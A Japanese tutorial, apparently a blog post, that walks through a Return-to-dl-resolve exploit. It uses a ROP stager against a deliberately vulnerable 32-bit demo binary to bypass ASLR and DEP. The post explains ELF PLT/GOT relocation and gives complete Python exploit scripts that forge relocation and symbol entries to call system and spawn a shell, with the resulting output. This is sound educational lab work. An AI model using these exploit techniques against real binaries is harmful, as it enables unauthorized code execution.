ROP stager + Return-to-dl-resolveによるASLR+DEP回避

「ROP stager + read/writeによるASLR+DEP回避」では、PLT中のwrite関数を使うことでlibcのベースアドレスを特定し、system関数によるシェル起動を行った。 この方法では各ライブラリ関数のオフセットを調べておく必要があるが、このオフセットはlibcの種類やバージョンごとに異なるため、不明な場合は最初にこれを特定する必要がある。 しかし、ライブラリ関数の初回呼び出し時におけるアドレス解決の仕組みを利用すると、libcの種類によらず任意のライブラリ関数を呼ぶことが可能になる。 この方法はReturn-to-dl-resolveなどと呼ばれる。 ここではASLR+DEPが有効な状況下で、ROP stagerによる固定アドレス書き込みおよびReturn-to-dl-resolveを使ったシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

ELF relocationの仕組み

ELF形式の実行ファイルでは、PLTおよびGOTと呼ばれるテーブルを使い、ライブラリ関数のアドレスを初回実行時に動的に解決する。 この処理はダイナミックリンカと呼ばれるライブラリが行い、a.out形式の場合はld.so、ELF形式の場合はld-linux.soがこれに対応する。 また、これらの実装はglibcにある。

上のプログラムをディスアセンブルし、write関数呼び出し時の流れを確認してみる。 まず、write関数はmain関数の中で次のようにして呼び出される。

$ objdump -d a.out
Disassembly of section .text:

08048404 <main>:
 8048404:       55                      push   ebp
 8048405:       89 e5                   mov    ebp,esp
 ...
 8048455:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 804845c:       e8 df fe ff ff          call   8048340 <write@plt>
 8048461:       b8 00 00 00 00          mov    eax,0x0
 8048466:       c9                      leave
 8048467:       c3                      ret

write@pltは実行ファイルの.pltセクションに置かれており、中身は次のようになっている。

08048340 <write@plt>:
 8048340:       ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048346:       68 18 00 00 00          push   0x18
 804834b:       e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

0x804a00cは.got.pltセクションの中にあり、この中身は初回呼び出し時はjmpの次の命令を指す0x8048346となっている。 そしてアドレスの解決が行われると、このアドレスは実際に解決されたlibc内のwrite関数のアドレスに書き換えられ、以降の呼び出しは直接write関数にジャンプするようになる。 初回呼び出し時は、スタックに0x18をpushした後、.pltセクションの先頭にある処理にジャンプする。

08048300 <read@plt-0x10>:
 8048300:       ff 35 f8 9f 04 08       push   DWORD PTR ds:0x8049ff8
 8048306:       ff 25 fc 9f 04 08       jmp    DWORD PTR ds:0x8049ffc
 804830c:       00 00                   add    BYTE PTR [eax],al
        ...

ここで、0x8049ff8および0x8049ffcは実行ファイルの.gotセクションの2ワード目、3ワード目であり、実行時にld-linux.soのアドレスが入る。 具体的にはそれぞれ.bssセクションの後ろのアドレス、_dl_runtime_resolve関数のアドレスとなり、前者がスタックに積まれた後、後者の関数にジャンプすることになる。 _dl_runtime_resolve関数はアーキテクチャごとに異なる実装になっており、x86の場合は次のようになっている。

        .text
        .globl _dl_runtime_resolve
        .type _dl_runtime_resolve, @function
        cfi_startproc
        .align 16
_dl_runtime_resolve:
        cfi_adjust_cfa_offset (8)
        pushl %eax              # Preserve registers otherwise clobbered.
        cfi_adjust_cfa_offset (4)
        pushl %ecx
        cfi_adjust_cfa_offset (4)
        pushl %edx
        cfi_adjust_cfa_offset (4)
        movl 16(%esp), %edx     # Copy args pushed by PLT in register.  Note
        movl 12(%esp), %eax     # that `fixup' takes its parameters in regs.
        call _dl_fixup          # Call resolver.
        popl %edx               # Get register content back.
        cfi_adjust_cfa_offset (-4)
        movl (%esp), %ecx
        movl %eax, (%esp)       # Store the function address.
        movl 4(%esp), %eax
        ret $12                 # Jump to function address.
        cfi_endproc
        .size _dl_runtime_resolve, .-_dl_runtime_resolve

コードとコメントから、レジスタにセットしたスタック上の値を引数として、本体である_dl_fixup関数が呼ばれることがわかる。 ここでセットされる値は、先にpushした.bssセクションの次のアドレスと0x18である。

_dl_fixup関数の実装は次にある。

この関数は概ね以下に説明する流れでアドレス解決を行う。 なお、各構造体は次のように定義されている。

typedef uint32_t Elf32_Word;
typedef uint32_t Elf32_Addr;
typedef uint16_t Elf32_Section;

typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;

#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)               ((val) & 0xff)

typedef struct
{
  Elf32_Word    st_name;                /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;               /* Symbol value */
  Elf32_Word    st_size;                /* Symbol size */
  unsigned char st_info;                /* Symbol type and binding */
  unsigned char st_other;               /* Symbol visibility */
  Elf32_Section st_shndx;               /* Section index */
} Elf32_Sym;
  1. 実行ファイルの.rel.pltセクションを参照し、reloc_offset (=0x18) の位置にあるELF32_Rel構造体relocを見る
  2. 実行ファイルの.dynsymセクションにあるElf32_Sym構造体の配列を参照し、reloc->rel_info >> 8番目の要素symを見る
  3. 実行ファイルの.dynstrセクションを参照し、sym->st_nameのオフセット位置にある文字列を見る
  4. この文字列を関数名とする関数のアドレスを解決し、reloc->rel_offsetに入っているGOTアドレスに書き込む
  5. 解決したアドレスにジャンプし、ライブラリ関数本体が実行される

ここで、reloc_offset (=0x18) が.pltセクションの先頭にジャンプする前にpushされる任意の32bit整数であることを考える。 すると、次のように調整することで任意のライブラリ関数が呼べそうなことがわかる。

  1. 適当なELF32_Rel構造体reloc2を指すようにreloc_offsetを計算し、これをスタックに置いた状態で.pltセクションの先頭にジャンプする
  2. 適当なElf32_Sym構造体sym2を指すようにインデックスreloc2->rel_info >> 8を計算してセットしておく
  3. 適当な文字列を指すように、sym2->st_nameのオフセット値を計算してセットしておく
  4. 呼び出したい関数名を適当な文字列として置いておく

これを行うには、用意した構造体や文字列のアドレスを知っておく必要がある。 ここではROP stagerを使い固定アドレスにデータを書き込むことで、これらのアドレスを計算できるようにする。

エクスプロイトコードを書いてみる

上の内容をもとに、ステップバイステップで確認しながらエクスプロイトコードを書いてみる。

ROP stagerでReturn-to-pltしてみる

ROP stagerで.bssセグメントにデータを書き込みstack pivotした後、PLTセクションにあるwrite関数を呼ぶコードを書くと次のようになる。 具体的な手順は「ROP stager + read/writeによるASLR+DEP回避」と同じである。

# test1.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

# 2nd stage
cmd = '/bin/sh <&2 >&2'

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_write)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

このコードはオーバーフローさせるバッファのサイズを引数に取る。 また、libcのベースアドレスの書き出しやオフセットの計算などは行っていない。

引数をセットし実行すると次のようになる。

$ python test1.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

write@plt関数により、与えた文字列が書き出されていることが確認できる。

直接relocationさせてみる

次に、write@pltにジャンプする代わりにpltセクションの先頭に直接ジャンプしてみる。 すでに確認したように、このプログラムのwrite@pltにおけるreloc_offsetは0x18である。 これをジャンプするアドレスの次に挿入すれば、通常のジャンプ時と同じスタックの状態となる。

# test2.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
reloc_offset = 0x18          # objdump -d -j.plt a.out

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

実行すると、同じ結果となることが確認できる。

$ python test2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

Relocationテーブルを作ってみる

次に、適当なRel32_Rel構造体を作り、これに合わせて計算したreloc_offsetを指定してみる。 まず、write@pltが参照している構造体について調べてみる。

$ objdump -s -j.rel.plt a.out
Contents of section .rel.plt:
 80482b0 00a00408 07010000 04a00408 07020000  ................
 80482c0 08a00408 07030000 0ca00408 07040000  ................

ここで、バイト列がビッグエンディアンで並んでいることに注意する。 上の結果から、.rel.pltセクションの先頭アドレスは0x80482b0、本来のreloc_offsetである0x18の位置には0x804a00c、0x407が入っていることがわかる。 r_offsetに相当する0x804a00cはwrite@plt関数が参照するGOTアドレスであり、この位置に解決されたwrite関数のアドレスが書き込まれることになる。

この結果を元にコードを書き換えてみると次のようになる。

# test3.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
r_info = 0x407               # objdump -s -j.rel.plt a.out

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

実行すると、同じ結果となることが確認できる。

$ python test3.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

シンボルテーブルを作ってみる

さらに、適当なElf32_Sym構造体を作り、これに合わせて計算した配列のインデックスreloc->r_info >> 8を指定してみる。 まず、.dynsymセクションにあるシンボルテーブルと、このテーブルが参照する.dynstrセクションを確認する。

$ objdump -s -j.dynsym a.out
Contents of section .dynsym:
 80481cc 00000000 00000000 00000000 00000000  ................
 80481dc 29000000 00000000 00000000 12000000  )...............
 80481ec 01000000 00000000 00000000 20000000  ............ ...
 80481fc 2e000000 00000000 00000000 12000000  ................
 804820c 40000000 00000000 00000000 12000000  @...............
 804821c 1a000000 3c850408 04000000 11000f00  ....<...........

$ objdump -s -j.dynstr a.out
Contents of section .dynstr:
 804822c 005f5f67 6d6f6e5f 73746172 745f5f00  .__gmon_start__.
 804823c 6c696263 2e736f2e 36005f49 4f5f7374  libc.so.6._IO_st
 804824c 64696e5f 75736564 00726561 64005f5f  din_used.read.__
 804825c 6c696263 5f737461 72745f6d 61696e00  libc_start_main.
 804826c 77726974 6500474c 4942435f 322e3000  write.GLIBC_2.0.

Elf32_Sym構造体のサイズは0x10バイトであり、このシンボルテーブルには6個のElf32_Sym構造体がある。 本来のreloc->r_infoは0x407であるから、参照しているインデックスreloc->r_info >> 8は0x4である。 ここでインデックスは0から始まるので、0x804820cにある0x40がwrite関数に対応するsym->st_nameである。 実際.dynstrセクションを見ると、オフセット0x40の位置に"write\x00"が入っていることが確認できる。 また、sym->st_infoはシンボルの種類を表しており、ここでは(STB_GLOBAL << 4) | STT_FUNC (=0x12) である。 これは、シンボルがグローバルかつ関数を指していることを意味する。

なお、reloc->r_info & 0xffはrelocationエントリの種類を表しており、ここではR_386_JMP_SLOT (=7) である。 _dl_fixup関数ではこの値がR_386_JMP_SLOTであることをチェックしており、異なる値の場合はエラーとなる。

この結果を元にコードを書き換えてみると次のようになる。

# test4.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
#r_info = 0x407              # objdump -s -j.rel.plt a.out
addr_dynsym = 0x80481cc      # objdump -s -j.dynsym a.out
addr_dynstr = 0x804822c      # objdump -s -j.dynstr a.out
addr_sym = base_stage + 36
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
st_name = 0x40               # objdump -s -j.dynsym a.out

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * align_dynsym
buf += struct.pack('<I', st_name)         # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

ここで、Elf32_Sym構造体を置くアドレスはdynsymセクションの先頭からちょうど構造体のサイズ(=0x10)の倍数だけ進んだ位置でなければならない。 このコードでは、align_dynsym変数を使ってこのアラインメントを行っている。

実行すると、同じ結果となることが確認できる。

$ python test4.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

ストリングテーブルを作ってみる

最後に、適当なアドレスに文字列"write\x00"を置き、これに合わせて計算したst->nameを指定してみる。

# test5.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
#r_info = 0x407              # objdump -s -j.rel.plt a.out
addr_dynsym = 0x80481cc      # objdump -s -j.dynsym a.out
addr_dynstr = 0x804822c      # objdump -s -j.dynstr a.out
addr_sym = base_stage + 36
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
#st_name = 0x40              # objdump -s -j.dynsym a.out
st_name = (addr_sym + 16) - addr_dynstr

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * align_dynsym
buf += struct.pack('<I', st_name)         # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'write\x00'
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

実行すると、同じ結果となることが確認できる。

$ python test5.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

system関数でシェルを起動してみる

上で置いた文字列"write\x00""system\x00"に書き換え、スタックに並べた引数の位置をこれに合わせて直してみる。

# test6.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
#r_info = 0x407              # objdump -s -j.rel.plt a.out
addr_dynsym = 0x80481cc      # objdump -s -j.dynsym a.out
addr_dynstr = 0x804822c      # objdump -s -j.dynstr a.out
addr_sym = base_stage + 36
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
#st_name = 0x40              # objdump -s -j.dynsym a.out
st_name = (addr_sym + 16) - addr_dynstr

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', base_stage+80)
buf += 'AAAA'
buf += 'AAAA'
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * align_dynsym
buf += struct.pack('<I', st_name)         # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'system\x00'
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

実行すると、次のようになる。

$ python test6.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

system関数が呼び出され、シェルが起動できていることがわかる。

コードを整理してみる

各種アドレスや構造体の配置、計算式などを整理したコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x080481cc     # readelf -S a.out
addr_dynstr = 0x0804822c     # readelf -S a.out
addr_relplt = 0x080482b0     # readelf -S a.out
addr_plt = 0x08048300        # readelf -S a.out
addr_bss = 0x0804a018        # readelf -S a.out
addr_plt_read = 0x8048310    # objdump -d -j.plt a.out
addr_got_read = 0x804a000    # objdump -d -j.plt a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 100)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

addr_reloc = base_stage + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAA'
buf2 += struct.pack('<I', addr_plt)
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_got_read)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)        # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.wait()

このコードは実行ファイル内のアドレスのみを参照しており、libcバイナリから計算されるオフセットは利用していない。

引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLR+DEPが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

関連リンク